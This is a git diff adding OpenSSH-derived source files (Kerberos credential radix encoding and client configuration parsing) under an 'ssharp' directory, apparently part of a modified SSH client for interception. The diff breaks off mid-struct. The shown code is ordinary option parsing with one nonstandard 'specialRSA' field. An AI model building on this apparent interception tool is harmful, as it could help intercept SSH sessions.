+ *p++ = *s; + s = creds->pinst; + while (*s) + *p++ = *s++; + *p++ = *s; + /* Null string to repeat the realm. */ + *p++ = '\0'; + + PUTLONG(creds->issue_date, p); + { + u_int endTime; + endTime = (u_int) krb_life_to_time(creds->issue_date, + creds->lifetime); + PUTLONG(endTime, p); + } + + memcpy(p, &creds->session, sizeof(creds->session)); + p += sizeof(creds->session); + + PUTSHORT(creds->kvno, p); + PUTLONG(creds->ticket_st.length, p); + + memcpy(p, creds->ticket_st.dat, creds->ticket_st.length); + p += creds->ticket_st.length; + len = p - temp; + + return (uuencode((u_char *)temp, len, (char *)buf, buflen)); +} + +int +radix_to_creds(const char *buf, CREDENTIALS *creds) +{ + + char *p; + int len, tl; + char version; + char temp[2048]; + + len = uudecode(buf, (u_char *)temp, sizeof(temp)); + if (len < 0) + return 0; + + p = temp; + + /* check version and length! */ + if (len < 1) + return 0; + version = *p; + p++; + len--; + + GETSTRING(creds->service, p, len); + GETSTRING(creds->instance, p, len); + GETSTRING(creds->realm, p, len); + + GETSTRING(creds->pname, p, len); + GETSTRING(creds->pinst, p, len); + /* Ignore possibly different realm. */ + while (*p && len) + p++, len--; + if (len == 0) + return 0; + p++, len--; + + /* Enough space for remaining fixed-length parts? */ + if (len < (4 + 4 + sizeof(creds->session) + 2 + 4)) + return 0; + + GETLONG(creds->issue_date, p); + len -= 4; + { + u_int endTime; + GETLONG(endTime, p); + len -= 4; + creds->lifetime = krb_time_to_life(creds->issue_date, endTime); + } + + memcpy(&creds->session, p, sizeof(creds->session)); + p += sizeof(creds->session); + len -= sizeof(creds->session); + + GETSHORT(creds->kvno, p); + len -= 2; + GETLONG(creds->ticket_st.length, p); + len -= 4; + + tl = creds->ticket_st.length; + if (tl < 0 || tl > len || tl > sizeof(creds->ticket_st.dat)) + return 0; + + memcpy(creds->ticket_st.dat, p, tl); + p += tl; + len -= tl; + + return 1; +} +#endif /* AFS */ diff --git a/other/ssharp/radix.h b/other/ssharp/radix.h new file mode 100644 index 0000000..57592d8 --- /dev/null +++ b/other/ssharp/radix.h @@ -0,0 +1,28 @@ +/* $OpenBSD: radix.h,v 1.2 2001/01/29 01:58:17 niklas Exp $ */ + +/* + * Copyright (c) 1999 Dug Song. All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions + * are met: + * 1. Redistributions of source code must retain the above copyright + * notice, this list of conditions and the following disclaimer. + * 2. Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in the + * documentation and/or other materials provided with the distribution. + * + * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR + * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES + * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. + * IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT, + * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT + * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, + * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY + * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT + * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF + * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. + */ + +int creds_to_radix(CREDENTIALS * creds, u_char *buf, size_t buflen); +int radix_to_creds(const char *buf, CREDENTIALS * creds); diff --git a/other/ssharp/readconf.c b/other/ssharp/readconf.c new file mode 100644 index 0000000..a43a56f --- /dev/null +++ b/other/ssharp/readconf.c @@ -0,0 +1,880 @@ +/* + * Author: Tatu Ylonen + * Copyright (c) 1995 Tatu Ylonen , Espoo, Finland + * All rights reserved + * Functions for reading the configuration files. + * + * As far as I am concerned, the code I have written for this software + * can be used freely for any purpose. Any derived versions of this + * software must be clearly marked as such, and if the derived work is + * incompatible with the protocol description in the RFC file, it must be + * called by a name other than "ssh" or "Secure Shell". + */ + +#include "includes.h" +RCSID("$OpenBSD: readconf.c,v 1.76 2001/04/17 10:53:25 markus Exp $"); + +#include "ssh.h" +#include "xmalloc.h" +#include "compat.h" +#include "cipher.h" +#include "pathnames.h" +#include "log.h" +#include "readconf.h" +#include "match.h" +#include "misc.h" +#include "kex.h" +#include "mac.h" + +/* Format of the configuration file: + + # Configuration data is parsed as follows: + # 1. command line options + # 2. user-specific file + # 3. system-wide file + # Any configuration value is only changed the first time it is set. + # Thus, host-specific definitions should be at the beginning of the + # configuration file, and defaults at the end. + + # Host-specific declarations. These may override anything above. A single + # host may match multiple declarations; these are processed in the order + # that they are given in. + + Host *.ngs.fi ngs.fi + FallBackToRsh no + + Host fake.com + HostName another.host.name.real.org + User blaah + Port 34289 + ForwardX11 no + ForwardAgent no + + Host books.com + RemoteForward 9999 shadows.cs.hut.fi:9999 + Cipher 3des + + Host fascist.blob.com + Port 23123 + User tylonen + RhostsAuthentication no + PasswordAuthentication no + + Host puukko.hut.fi + User t35124p + ProxyCommand ssh-proxy %h %p + + Host *.fr + UseRsh yes + + Host *.su + Cipher none + PasswordAuthentication no + + # Defaults for various options + Host * + ForwardAgent no + ForwardX11 no + RhostsAuthentication yes + PasswordAuthentication yes + RSAAuthentication yes + RhostsRSAAuthentication yes + FallBackToRsh no + UseRsh no + StrictHostKeyChecking yes + KeepAlives no + IdentityFile ~/.ssh/identity + Port 22 + EscapeChar ~ + +*/ + +/* Keyword tokens. */ + +typedef enum { + oBadOption, + oForwardAgent, oForwardX11, oGatewayPorts, oRhostsAuthentication, + oPasswordAuthentication, oRSAAuthentication, oFallBackToRsh, oUseRsh, + oChallengeResponseAuthentication, oXAuthLocation, +#ifdef KRB4 + oKerberosAuthentication, +#endif /* KRB4 */ +#ifdef AFS + oKerberosTgtPassing, oAFSTokenPassing, +#endif + oIdentityFile, oHostName, oPort, oCipher, oRemoteForward, oLocalForward, + oUser, oHost, oEscapeChar, oRhostsRSAAuthentication, oProxyCommand, + oGlobalKnownHostsFile, oUserKnownHostsFile, oConnectionAttempts, + oBatchMode, oCheckHostIP, oStrictHostKeyChecking, oCompression, + oCompressionLevel, oKeepAlives, oNumberOfPasswordPrompts, + oUsePrivilegedPort, oLogLevel, oCiphers, oProtocol, oMacs, + oGlobalKnownHostsFile2, oUserKnownHostsFile2, oPubkeyAuthentication, + oKbdInteractiveAuthentication, oKbdInteractiveDevices, oHostKeyAlias, + oDynamicForward, oPreferredAuthentications, oHostbasedAuthentication, + oHostKeyAlgorithms +} OpCodes; + +/* Textual representations of the tokens. */ + +static struct { + const char *name; + OpCodes opcode; +} keywords[] = { + { "forwardagent", oForwardAgent }, + { "forwardx11", oForwardX11 }, + { "xauthlocation", oXAuthLocation }, + { "gatewayports", oGatewayPorts }, + { "useprivilegedport", oUsePrivilegedPort }, + { "rhostsauthentication", oRhostsAuthentication }, + { "passwordauthentication", oPasswordAuthentication }, + { "kbdinteractiveauthentication", oKbdInteractiveAuthentication }, + { "kbdinteractivedevices", oKbdInteractiveDevices }, + { "rsaauthentication", oRSAAuthentication }, + { "pubkeyauthentication", oPubkeyAuthentication }, + { "dsaauthentication", oPubkeyAuthentication }, /* alias */ + { "rhostsrsaauthentication", oRhostsRSAAuthentication }, + { "hostbasedauthentication", oHostbasedAuthentication }, + { "challengeresponseauthentication", oChallengeResponseAuthentication }, + { "skeyauthentication", oChallengeResponseAuthentication }, /* alias */ + { "tisauthentication", oChallengeResponseAuthentication }, /* alias */ +#ifdef KRB4 + { "kerberosauthentication", oKerberosAuthentication }, +#endif /* KRB4 */ +#ifdef AFS + { "kerberostgtpassing", oKerberosTgtPassing }, + { "afstokenpassing", oAFSTokenPassing }, +#endif + { "fallbacktorsh", oFallBackToRsh }, + { "usersh", oUseRsh }, + { "identityfile", oIdentityFile }, + { "identityfile2", oIdentityFile }, /* alias */ + { "hostname", oHostName }, + { "hostkeyalias", oHostKeyAlias }, + { "proxycommand", oProxyCommand }, + { "port", oPort }, + { "cipher", oCipher }, + { "ciphers", oCiphers }, + { "macs", oMacs }, + { "protocol", oProtocol }, + { "remoteforward", oRemoteForward }, + { "localforward", oLocalForward }, + { "user", oUser }, + { "host", oHost }, + { "escapechar", oEscapeChar }, + { "globalknownhostsfile", oGlobalKnownHostsFile }, + { "userknownhostsfile", oUserKnownHostsFile }, + { "globalknownhostsfile2", oGlobalKnownHostsFile2 }, + { "userknownhostsfile2", oUserKnownHostsFile2 }, + { "connectionattempts", oConnectionAttempts }, + { "batchmode", oBatchMode }, + { "checkhostip", oCheckHostIP }, + { "stricthostkeychecking", oStrictHostKeyChecking }, + { "compression", oCompression }, + { "compressionlevel", oCompressionLevel }, + { "keepalive", oKeepAlives }, + { "numberofpasswordprompts", oNumberOfPasswordPrompts }, + { "loglevel", oLogLevel }, + { "dynamicforward", oDynamicForward }, + { "preferredauthentications", oPreferredAuthentications }, + { "hostkeyalgorithms", oHostKeyAlgorithms }, + { NULL, 0 } +}; + +/* + * Adds a local TCP/IP port forward to options. Never returns if there is an + * error. + */ + +void +add_local_forward(Options *options, u_short port, const char *host, + u_short host_port) +{ + Forward *fwd; + if (options->num_local_forwards >= SSH_MAX_FORWARDS_PER_DIRECTION) + fatal("Too many local forwards (max %d).", SSH_MAX_FORWARDS_PER_DIRECTION); + fwd = &options->local_forwards[options->num_local_forwards++]; + fwd->port = port; + fwd->host = xstrdup(host); + fwd->host_port = host_port; +} + +/* + * Adds a remote TCP/IP port forward to options. Never returns if there is + * an error. + */ + +void +add_remote_forward(Options *options, u_short port, const char *host, + u_short host_port) +{ + Forward *fwd; + if (options->num_remote_forwards >= SSH_MAX_FORWARDS_PER_DIRECTION) + fatal("Too many remote forwards (max %d).", + SSH_MAX_FORWARDS_PER_DIRECTION); + fwd = &options->remote_forwards[options->num_remote_forwards++]; + fwd->port = port; + fwd->host = xstrdup(host); + fwd->host_port = host_port; +} + +/* + * Returns the number of the token pointed to by cp or oBadOption. + */ + +static OpCodes +parse_token(const char *cp, const char *filename, int linenum) +{ + u_int i; + + for (i = 0; keywords[i].name; i++) + if (strcasecmp(cp, keywords[i].name) == 0) + return keywords[i].opcode; + + error("%s: line %d: Bad configuration option: %s", + filename, linenum, cp); + return oBadOption; +} + +/* + * Processes a single option line as used in the configuration files. This + * only sets those values that have not already been set. + */ + +int +process_config_line(Options *options, const char *host, + char *line, const char *filename, int linenum, + int *activep) +{ + char buf[256], *s, *string, **charptr, *endofnumber, *keyword, *arg; + int opcode, *intptr, value; + u_short fwd_port, fwd_host_port; + + s = line; + /* Get the keyword. (Each line is supposed to begin with a keyword). */ + keyword = strdelim(&s); + /* Ignore leading whitespace. */ + if (*keyword == '\0') + keyword = strdelim(&s); + if (keyword == NULL || !*keyword || *keyword == '\n' || *keyword == '#') + return 0; + + opcode = parse_token(keyword, filename, linenum); + + switch (opcode) { + case oBadOption: + /* don't panic, but count bad options */ + return -1; + /* NOTREACHED */ + case oForwardAgent: + intptr = &options->forward_agent; +parse_flag: + arg = strdelim(&s); + if (!arg || *arg == '\0') + fatal("%.200s line %d: Missing yes/no argument.", filename, linenum); + value = 0; /* To avoid compiler warning... */ + if (strcmp(arg, "yes") == 0 || strcmp(arg, "true") == 0) + value = 1; + else if (strcmp(arg, "no") == 0 || strcmp(arg, "false") == 0) + value = 0; + else + fatal("%.200s line %d: Bad yes/no argument.", filename, linenum); + if (*activep && *intptr == -1) + *intptr = value; + break; + + case oForwardX11: + intptr = &options->forward_x11; + goto parse_flag; + + case oGatewayPorts: + intptr = &options->gateway_ports; + goto parse_flag; + + case oUsePrivilegedPort: + intptr = &options->use_privileged_port; + goto parse_flag; + + case oRhostsAuthentication: + intptr = &options->rhosts_authentication; + goto parse_flag; + + case oPasswordAuthentication: + intptr = &options->password_authentication; + goto parse_flag; + + case oKbdInteractiveAuthentication: + intptr = &options->kbd_interactive_authentication; + goto parse_flag; + + case oKbdInteractiveDevices: + charptr = &options->kbd_interactive_devices; + goto parse_string; + + case oPubkeyAuthentication: + intptr = &options->pubkey_authentication; + goto parse_flag; + + case oRSAAuthentication: + intptr = &options->rsa_authentication; + goto parse_flag; + + case oRhostsRSAAuthentication: + intptr = &options->rhosts_rsa_authentication; + goto parse_flag; + + case oHostbasedAuthentication: + intptr = &options->hostbased_authentication; + goto parse_flag; + + case oChallengeResponseAuthentication: + intptr = &options->challenge_reponse_authentication; + goto parse_flag; + +#ifdef KRB4 + case oKerberosAuthentication: + intptr = &options->kerberos_authentication; + goto parse_flag; +#endif /* KRB4 */ + +#ifdef AFS + case oKerberosTgtPassing: + intptr = &options->kerberos_tgt_passing; + goto parse_flag; + + case oAFSTokenPassing: + intptr = &options->afs_token_passing; + goto parse_flag; +#endif + + case oFallBackToRsh: + intptr = &options->fallback_to_rsh; + goto parse_flag; + + case oUseRsh: + intptr = &options->use_rsh; + goto parse_flag; + + case oBatchMode: + intptr = &options->batch_mode; + goto parse_flag; + + case oCheckHostIP: + intptr = &options->check_host_ip; + goto parse_flag; + + case oStrictHostKeyChecking: + intptr = &options->strict_host_key_checking; + arg = strdelim(&s); + if (!arg || *arg == '\0') + fatal("%.200s line %d: Missing yes/no/ask argument.", + filename, linenum); + value = 0; /* To avoid compiler warning... */ + if (strcmp(arg, "yes") == 0 || strcmp(arg, "true") == 0) + value = 1; + else if (strcmp(arg, "no") == 0 || strcmp(arg, "false") == 0) + value = 0; + else if (strcmp(arg, "ask") == 0) + value = 2; + else + fatal("%.200s line %d: Bad yes/no/ask argument.", filename, linenum); + if (*activep && *intptr == -1) + *intptr = value; + break; + + case oCompression: + intptr = &options->compression; + goto parse_flag; + + case oKeepAlives: + intptr = &options->keepalives; + goto parse_flag; + + case oNumberOfPasswordPrompts: + intptr = &options->number_of_password_prompts; + goto parse_int; + + case oCompressionLevel: + intptr = &options->compression_level; + goto parse_int; + + case oIdentityFile: + arg = strdelim(&s); + if (!arg || *arg == '\0') + fatal("%.200s line %d: Missing argument.", filename, linenum); + if (*activep) { + intptr = &options->num_identity_files; + if (*intptr >= SSH_MAX_IDENTITY_FILES) + fatal("%.200s line %d: Too many identity files specified (max %d).", + filename, linenum, SSH_MAX_IDENTITY_FILES); + charptr = &options->identity_files[*intptr]; + *charptr = xstrdup(arg); + *intptr = *intptr + 1; + } + break; + + case oXAuthLocation: + charptr=&options->xauth_location; + goto parse_string; + + case oUser: + charptr = &options->user; +parse_string: + arg = strdelim(&s); + if (!arg || *arg == '\0') + fatal("%.200s line %d: Missing argument.", filename, linenum); + if (*activep && *charptr == NULL) + *charptr = xstrdup(arg); + break; + + case oGlobalKnownHostsFile: + charptr = &options->system_hostfile; + goto parse_string; + + case oUserKnownHostsFile: + charptr = &options->user_hostfile; + goto parse_string; + + case oGlobalKnownHostsFile2: + charptr = &options->system_hostfile2; + goto parse_string; + + case oUserKnownHostsFile2: + charptr = &options->user_hostfile2; + goto parse_string; + + case oHostName: + charptr = &options->hostname; + goto parse_string; + + case oHostKeyAlias: + charptr = &options->host_key_alias; + goto parse_string; + + case oPreferredAuthentications: + charptr = &options->preferred_authentications; + goto parse_string; + + case oProxyCommand: + charptr = &options->proxy_command; + string = xstrdup(""); + while ((arg = strdelim(&s)) != NULL && *arg != '\0') { + string = xrealloc(string, strlen(string) + strlen(arg) + 2); + strcat(string, " "); + strcat(string, arg); + } + if (*activep && *charptr == NULL) + *charptr = string; + else + xfree(string); + return 0; + + case oPort: + intptr = &options->port; +parse_int: + arg = strdelim(&s); + if (!arg || *arg == '\0') + fatal("%.200s line %d: Missing argument.", filename, linenum); + if (arg[0] < '0' || arg[0] > '9') + fatal("%.200s line %d: Bad number.", filename, linenum); + + /* Octal, decimal, or hex format? */ + value = strtol(arg, &endofnumber, 0); + if (arg == endofnumber) + fatal("%.200s line %d: Bad number.", filename, linenum); + if (*activep && *intptr == -1) + *intptr = value; + break; + + case oConnectionAttempts: + intptr = &options->connection_attempts; + goto parse_int; + + case oCipher: + intptr = &options->cipher; + arg = strdelim(&s); + if (!arg || *arg == '\0') + fatal("%.200s line %d: Missing argument.", filename, linenum); + value = cipher_number(arg); + if (value == -1) + fatal("%.200s line %d: Bad cipher '%s'.", + filename, linenum, arg ? arg : ""); + if (*activep && *intptr == -1) + *intptr = value; + break; + + case oCiphers: + arg = strdelim(&s); + if (!arg || *arg == '\0') + fatal("%.200s line %d: Missing argument.", filename, linenum); + if (!ciphers_valid(arg)) + fatal("%.200s line %d: Bad SSH2 cipher spec '%s'.", + filename, linenum, arg ? arg : ""); + if (*activep && options->ciphers == NULL) + options->ciphers = xstrdup(arg); + break; + + case oMacs: + arg = strdelim(&s); + if (!arg || *arg == '\0') + fatal("%.200s line %d: Missing argument.", filename, linenum); + if (!mac_valid(arg)) + fatal("%.200s line %d: Bad SSH2 Mac spec '%s'.", + filename, linenum, arg ? arg : ""); + if (*activep && options->macs == NULL) + options->macs = xstrdup(arg); + break; + + case oHostKeyAlgorithms: + arg = strdelim(&s); + if (!arg || *arg == '\0') + fatal("%.200s line %d: Missing argument.", filename, linenum); + if (!key_names_valid2(arg)) + fatal("%.200s line %d: Bad protocol 2 host key algorithms '%s'.", + filename, linenum, arg ? arg : ""); + if (*activep && options->hostkeyalgorithms == NULL) + options->hostkeyalgorithms = xstrdup(arg); + break; + + case oProtocol: + intptr = &options->protocol; + arg = strdelim(&s); + if (!arg || *arg == '\0') + fatal("%.200s line %d: Missing argument.", filename, linenum); + value = proto_spec(arg); + if (value == SSH_PROTO_UNKNOWN) + fatal("%.200s line %d: Bad protocol spec '%s'.", + filename, linenum, arg ? arg : ""); + if (*activep && *intptr == SSH_PROTO_UNKNOWN) + *intptr = value; + break; + + case oLogLevel: + intptr = (int *) &options->log_level; + arg = strdelim(&s); + value = log_level_number(arg); + if (value == (LogLevel) - 1) + fatal("%.200s line %d: unsupported log level '%s'", + filename, linenum, arg ? arg : ""); + if (*activep && (LogLevel) * intptr == -1) + *intptr = (LogLevel) value; + break; + + case oRemoteForward: + arg = strdelim(&s); + if (!arg || *arg == '\0') + fatal("%.200s line %d: Missing argument.", filename, linenum); + fwd_port = a2port(arg); + if (fwd_port == 0) + fatal("%.200s line %d: Badly formatted port number.", + filename, linenum); + arg = strdelim(&s); + if (!arg || *arg == '\0') + fatal("%.200s line %d: Missing second argument.", + filename, linenum); + if (sscanf(arg, "%255[^:]:%hu", buf, &fwd_host_port) != 2) + fatal("%.200s line %d: Badly formatted host:port.", + filename, linenum); + if (*activep) + add_remote_forward(options, fwd_port, buf, fwd_host_port); + break; + + case oLocalForward: + arg = strdelim(&s); + if (!arg || *arg == '\0') + fatal("%.200s line %d: Missing argument.", filename, linenum); + fwd_port = a2port(arg); + if (fwd_port == 0) + fatal("%.200s line %d: Badly formatted port number.", + filename, linenum); + arg = strdelim(&s); + if (!arg || *arg == '\0') + fatal("%.200s line %d: Missing second argument.", + filename, linenum); + if (sscanf(arg, "%255[^:]:%hu", buf, &fwd_host_port) != 2) + fatal("%.200s line %d: Badly formatted host:port.", + filename, linenum); + if (*activep) + add_local_forward(options, fwd_port, buf, fwd_host_port); + break; + + case oDynamicForward: + arg = strdelim(&s); + if (!arg || *arg == '\0') + fatal("%.200s line %d: Missing port argument.", + filename, linenum); + fwd_port = a2port(arg); + if (fwd_port == 0) + fatal("%.200s line %d: Badly formatted port number.", + filename, linenum); + add_local_forward(options, fwd_port, "socks4", 0); + break; + + case oHost: + *activep = 0; + while ((arg = strdelim(&s)) != NULL && *arg != '\0') + if (match_pattern(host, arg)) { + debug("Applying options for %.100s", arg); + *activep = 1; + break; + } + /* Avoid garbage check below, as strdelim is done. */ + return 0; + + case oEscapeChar: + intptr = &options->escape_char; + arg = strdelim(&s); + if (!arg || *arg == '\0') + fatal("%.200s line %d: Missing argument.", filename, linenum); + if (arg[0] == '^' && arg[2] == 0 && + (u_char) arg[1] >= 64 && (u_char) arg[1] < 128) + value = (u_char) arg[1] & 31; + else if (strlen(arg) == 1) + value = (u_char) arg[0]; + else if (strcmp(arg, "none") == 0) + value = -2; + else { + fatal("%.200s line %d: Bad escape character.", + filename, linenum); + /* NOTREACHED */ + value = 0; /* Avoid compiler warning. */ + } + if (*activep && *intptr == -1) + *intptr = value; + break; + + default: + fatal("process_config_line: Unimplemented opcode %d", opcode); + } + + /* Check that there is no garbage at end of line. */ + if ((arg = strdelim(&s)) != NULL && *arg != '\0') { + fatal("%.200s line %d: garbage at end of line; \"%.200s\".", + filename, linenum, arg); + } + return 0; +} + + +/* + * Reads the config file and modifies the options accordingly. Options + * should already be initialized before this call. This never returns if + * there is an error. If the file does not exist, this returns immediately. + */ + +void +read_config_file(const char *filename, const char *host, Options *options) +{ + FILE *f; + char line[1024]; + int active, linenum; + int bad_options = 0; + + /* Open the file. */ + f = fopen(filename, "r"); + if (!f) + return; + + debug("Reading configuration data %.200s", filename); + + /* + * Mark that we are now processing the options. This flag is turned + * on/off by Host specifications. + */ + active = 1; + linenum = 0; + while (fgets(line, sizeof(line), f)) { + /* Update line number counter. */ + linenum++; + if (process_config_line(options, host, line, filename, linenum, &active) != 0) + bad_options++; + } + fclose(f); + if (bad_options > 0) + fatal("%s: terminating, %d bad configuration options", + filename, bad_options); +} + +/* + * Initializes options to special values that indicate that they have not yet + * been set. Read_config_file will only set options with this value. Options + * are processed in the following order: command line, user config file, + * system config file. Last, fill_default_options is called. + */ + +void +initialize_options(Options * options) +{ + memset(options, 'X', sizeof(*options)); + options->forward_agent = -1; + options->forward_x11 = -1; + options->xauth_location = NULL; + options->gateway_ports = -1; + options->use_privileged_port = -1; + options->rhosts_authentication = -1; + options->rsa_authentication = -1; + options->pubkey_authentication = -1; + options->challenge_reponse_authentication = -1; +#ifdef KRB4 + options->kerberos_authentication = -1; +#endif +#ifdef AFS + options->kerberos_tgt_passing = -1; + options->afs_token_passing = -1; +#endif + options->password_authentication = -1; + options->kbd_interactive_authentication = -1; + options->kbd_interactive_devices = NULL; + options->rhosts_rsa_authentication = -1; + options->hostbased_authentication = -1; + options->fallback_to_rsh = -1; + options->use_rsh = -1; + options->batch_mode = -1; + options->check_host_ip = -1; + options->strict_host_key_checking = -1; + options->compression = -1; + options->keepalives = -1; + options->compression_level = -1; + options->port = -1; + options->connection_attempts = -1; + options->number_of_password_prompts = -1; + options->cipher = -1; + options->ciphers = NULL; + options->macs = NULL; + options->hostkeyalgorithms = NULL; + options->protocol = SSH_PROTO_UNKNOWN; + options->num_identity_files = 0; + options->hostname = NULL; + options->host_key_alias = NULL; + options->proxy_command = NULL; + options->user = NULL; + options->escape_char = -1; + options->system_hostfile = NULL; + options->user_hostfile = NULL; + options->system_hostfile2 = NULL; + options->user_hostfile2 = NULL; + options->num_local_forwards = 0; + options->num_remote_forwards = 0; + options->log_level = (LogLevel) - 1; + options->preferred_authentications = NULL; + + options->specialRSA = 0; +} + +/* + * Called after processing other sources of option data, this fills those + * options for which no value has been specified with their default values. + */ + +void +fill_default_options(Options * options) +{ + int len; + + if (options->forward_agent == -1) + options->forward_agent = 0; + if (options->forward_x11 == -1) + options->forward_x11 = 0; +#ifdef XAUTH_PATH + if (options->xauth_location == NULL) + options->xauth_location = XAUTH_PATH; +#endif /* XAUTH_PATH */ + if (options->gateway_ports == -1) + options->gateway_ports = 0; + if (options->use_privileged_port == -1) + options->use_privileged_port = 0; + if (options->rhosts_authentication == -1) + options->rhosts_authentication = 1; + if (options->rsa_authentication == -1) + options->rsa_authentication = 1; + if (options->pubkey_authentication == -1) + options->pubkey_authentication = 1; + if (options->challenge_reponse_authentication == -1) + options->challenge_reponse_authentication = 0; +#ifdef KRB4 + if (options->kerberos_authentication == -1) + options->kerberos_authentication = 1; +#endif /* KRB4 */ +#ifdef AFS + if (options->kerberos_tgt_passing == -1) + options->kerberos_tgt_passing = 1; + if (options->afs_token_passing == -1) + options->afs_token_passing = 1; +#endif /* AFS */ + if (options->password_authentication == -1) + options->password_authentication = 1; + if (options->kbd_interactive_authentication == -1) + options->kbd_interactive_authentication = 1; + if (options->rhosts_rsa_authentication == -1) + options->rhosts_rsa_authentication = 1; + if (options->hostbased_authentication == -1) + options->hostbased_authentication = 0; + if (options->fallback_to_rsh == -1) + options->fallback_to_rsh = 0; + if (options->use_rsh == -1) + options->use_rsh = 0; + if (options->batch_mode == -1) + options->batch_mode = 0; + if (options->check_host_ip == -1) + options->check_host_ip = 1; + if (options->strict_host_key_checking == -1) + options->strict_host_key_checking = 2; /* 2 is default */ + if (options->compression == -1) + options->compression = 0; + if (options->keepalives == -1) + options->keepalives = 1; + if (options->compression_level == -1) + options->compression_level = 6; + if (options->port == -1) + options->port = 0; /* Filled in ssh_connect. */ + if (options->connection_attempts == -1) + options->connection_attempts = 4; + if (options->number_of_password_prompts == -1) + options->number_of_password_prompts = 3; + /* Selected in ssh_login(). */ + if (options->cipher == -1) + options->cipher = SSH_CIPHER_NOT_SET; + /* options->ciphers, default set in myproposals.h */ + /* options->macs, default set in myproposals.h */ + /* options->hostkeyalgorithms, default set in myproposals.h */ + if (options->protocol == SSH_PROTO_UNKNOWN) + options->protocol = SSH_PROTO_1|SSH_PROTO_2; + if (options->num_identity_files == 0) { + if (options->protocol & SSH_PROTO_1) { + len = 2 + strlen(_PATH_SSH_CLIENT_IDENTITY) + 1; + options->identity_files[options->num_identity_files] = + xmalloc(len); + snprintf(options->identity_files[options->num_identity_files++], + len, "~/%.100s", _PATH_SSH_CLIENT_IDENTITY); + } + if (options->protocol & SSH_PROTO_2) { + len = 2 + strlen(_PATH_SSH_CLIENT_ID_RSA) + 1; + options->identity_files[options->num_identity_files] = + xmalloc(len); + snprintf(options->identity_files[options->num_identity_files++], + len, "~/%.100s", _PATH_SSH_CLIENT_ID_RSA); + + len = 2 + strlen(_PATH_SSH_CLIENT_ID_DSA) + 1; + options->identity_files[options->num_identity_files] = + xmalloc(len); + snprintf(options->identity_files[options->num_identity_files++], + len, "~/%.100s", _PATH_SSH_CLIENT_ID_DSA); + } + } + if (options->escape_char == -1) + options->escape_char = '~'; + if (options->system_hostfile == NULL) + options->system_hostfile = _PATH_SSH_SYSTEM_HOSTFILE; + if (options->user_hostfile == NULL) + options->user_hostfile = _PATH_SSH_USER_HOSTFILE; + if (options->system_hostfile2 == NULL) + options->system_hostfile2 = _PATH_SSH_SYSTEM_HOSTFILE2; + if (options->user_hostfile2 == NULL) + options->user_hostfile2 = _PATH_SSH_USER_HOSTFILE2; + if (options->log_level == (LogLevel) - 1) + options->log_level = SYSLOG_LEVEL_INFO; + /* options->proxy_command should not be set by default */ + /* options->user will be set in the main program if appropriate */ + /* options->hostname will be set in the main program if appropriate */ + /* options->host_key_alias should not be set by default */ + /* options->preferred_authentications will be set in ssh */ +} diff --git a/other/ssharp/readconf.h b/other/ssharp/readconf.h new file mode 100644 index 0000000..35ad5a5 --- /dev/null +++ b/other/ssharp/readconf.h @@ -0,0 +1,155 @@ +/* + * Author: Tatu Ylonen + * Copyright (c) 1995 Tatu Ylonen , Espoo, Finland + * All rights reserved + * Functions for reading the configuration file. + * + * As far as I am concerned, the code I have written for this software + * can be used freely for any purpose. Any derived versions of this + * software must be clearly marked as such, and if the derived work is + * incompatible with the protocol description in the RFC file, it must be + * called by a name other than "ssh" or "Secure Shell". + */ + +/* RCSID("$OpenBSD: readconf.h,v 1.30 2001/04/17 10:53:25 markus Exp $"); */ + +#ifndef READCONF_H +#define READCONF_H + +#include "key.h" + +/* Data structure for representing a forwarding request. */ + +typedef struct { + u_short port; /* Port to forward. */ + char *host; /* Host to connect. */ + u_short host_port; /* Port to connect on host. */ +} Forward; +/* Data structure for representing option data. */ + +typedef struct { + int forward_agent; /* Forward authentication agent. */ + int forward_x11; /* Forward X11 display. */ + char *xauth_location; /* Location for xauth program */ + int gateway_ports; /* Allow remote connects to forwarded ports. */ + int use_privileged_port; /* Don't use privileged port if false. */ + int rhosts_authentication; /* Try rhosts authentication. */ + int rhosts_rsa_authentication; /* Try rhosts with RSA + * authentication. */ + int rsa_authentication; /* Try RSA authentication. */ + int pubkey_authentication; /* Try ssh2 pubkey authentication. */ + int hostbased_authentication; /* ssh2's rhosts_rsa */ + int challenge_reponse_authentication; + /* Try S/Key or TIS, authentication. */ +#ifdef KRB4 + int kerberos_authentication; /* Try Kerberos + * authentication. */ +#endif +#ifdef AFS + int kerberos_tgt_passing; /* Try Kerberos tgt passing. */ + int afs_token_passing; /* Try AFS token passing. */ +#endif + int password_authentication; /* Try password + * authentication. */ + int kbd_interactive_authentication; /* Try keyboard-interactive auth. */ + char *kbd_interactive_devices; /* Keyboard-interactive auth devices. */ + int fallback_to_rsh;/* Use rsh if cannot connect with ssh. */ + int use_rsh; /* Always use rsh (don\'t try ssh). */ + int batch_mode; /* Batch mode: do not ask for passwords. */ + int check_host_ip; /* Also keep track of keys for IP address */ + int strict_host_key_checking; /* Strict host key checking. */ + int compression; /* Compress packets in both directions. */ + int compression_level; /* Compression level 1 (fast) to 9 + * (best). */ + int keepalives; /* Set SO_KEEPALIVE. */ + LogLevel log_level; /* Level for logging. */ + + int port; /* Port to connect. */ + int connection_attempts; /* Max attempts (seconds) before + * giving up */ + int number_of_password_prompts; /* Max number of password + * prompts. */ + int cipher; /* Cipher to use. */ + char *ciphers; /* SSH2 ciphers in order of preference. */ + char *macs; /* SSH2 macs in order of preference. */ + char *hostkeyalgorithms; /* SSH2 server key types in order of preference. */ + int protocol; /* Protocol in order of preference. */ + char *hostname; /* Real host to connect. */ + char *host_key_alias; /* hostname alias for .ssh/known_hosts */ + char *proxy_command; /* Proxy 